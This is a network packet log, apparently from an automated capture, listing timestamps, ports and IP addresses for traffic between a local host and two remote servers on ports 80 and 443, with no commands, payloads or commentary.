Nov 17, 2024 01:38:24.972192049 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.972353935 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.972412109 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.972506046 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.972528934 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.972541094 CET	49768	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.972551107 CET	443	49768	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.975868940 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.975903034 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.976005077 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.976270914 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.976283073 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.979840994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.979898930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.979918003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.979933977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.979965925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.979975939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.979989052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.980027914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.980031013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.980067968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.980081081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.980103970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.980122089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.980144978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.980154037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.980202913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.980274916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:24.980336905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:24.983572006 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.984260082 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.984323978 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.984384060 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.984400034 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.984414101 CET	49766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.984421015 CET	443	49766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.986624956 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.986697912 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:24.986766100 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.986885071 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:24.986920118 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.019752979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.019804955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.019831896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.019871950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.029839993 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.030066967 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.030147076 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.030343056 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.030371904 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.030417919 CET	49769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.030435085 CET	443	49769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.033561945 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.033596992 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.033693075 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.033888102 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.033900976 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.047513008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.047550917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.047590017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.047606945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.047615051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.047640085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.047666073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.047674894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.047686100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.047713041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.047728062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.047761917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.070816040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.070873022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.070900917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.070909977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.070945978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.070946932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.099760056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.099797010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.099833012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.099858046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.099891901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.100024939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.100081921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.100087881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.100114107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.100140095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.100147963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.100162029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.100204945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.101299047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.101334095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.101360083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.101368904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.101378918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.101423025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138273954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138336897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138370991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138394117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138394117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138425112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138430119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138461113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138488054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138505936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138530016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138581038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138583899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138633966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138711929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138746977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138768911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138782978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138787985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138818979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.138842106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138871908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.138979912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.139038086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.209284067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.209317923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.209371090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.209399939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.209399939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.209405899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.209436893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.209436893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.209460020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.209475040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.209511995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.209516048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.209551096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.209572077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.229279995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.229315042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.229348898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.229372978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.229408979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.229409933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258375883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258424997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258475065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258486032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258497953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258518934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258539915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258558035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258567095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258619070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258670092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258702040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258729935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258750916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258753061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258790970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258805990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258821011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.258848906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.258869886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.259608984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.259723902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.259730101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.259756088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.259778023 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.259789944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.259815931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.259841919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.296776056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.296822071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.296858072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.296874046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.296904087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.296905041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.296914101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.296952009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.296972990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.296991110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.297012091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.297029018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.297043085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.297065020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.297080994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.297105074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.297116995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.297163010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.297298908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.297358990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.367589951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.367629051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.367686987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.367721081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.367726088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.367759943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.367770910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.367770910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.367804050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.367835999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.367883921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.368597984 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.369147062 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.369164944 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.369565010 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.369574070 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.388025045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.388078928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.388117075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.388137102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.388138056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.388215065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.417053938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.417081118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.417099953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.417115927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.417130947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.417143106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.417160034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.417171955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.417176962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.417201996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.417217970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.418416977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.418472052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.418484926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.418510914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.418521881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.418557882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455182076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455246925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455245972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455284119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455296993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455396891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455400944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455436945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455456018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455475092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455476046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455514908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455518007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455557108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455569029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455604076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455621004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455672979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455774069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455811024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455826998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455845118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455847979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455883980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.455912113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.455950975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.456207991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.456259012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.499021053 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.499180079 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.499237061 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.499324083 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.499341965 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.499355078 CET	49770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.499361992 CET	443	49770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.502027035 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.502111912 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.502197981 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.502329111 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.502368927 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.528687000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.528728008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.528760910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.528764009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.528795004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.528808117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.528809071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.528844118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.528848886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.528878927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.528891087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.528925896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.546258926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.546309948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.546346903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.546370983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.546443939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.546443939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.575309992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.575407028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.575412035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.575427055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.575443029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.575457096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.575462103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.575474977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.575476885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.575510979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.575536013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.576503038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.576519966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.576534986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.576553106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.576575041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.613719940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.613778114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.613809109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.613832951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.613864899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.613878012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.613899946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.613913059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.613938093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.613946915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.613986015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.614064932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.614116907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.614238977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.614269018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.614295959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.614305019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.614314079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.614341974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.614343882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.614387035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.654196978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.654252052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.654289961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.654350042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.654395103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.660403013 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.667972088 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.668052912 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.668756962 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.668771982 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.687170029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.687192917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.687211037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.687227964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.687244892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.687248945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.687248945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.687328100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.687328100 CET	49714	80	192.168.2.6	185.215.113.206
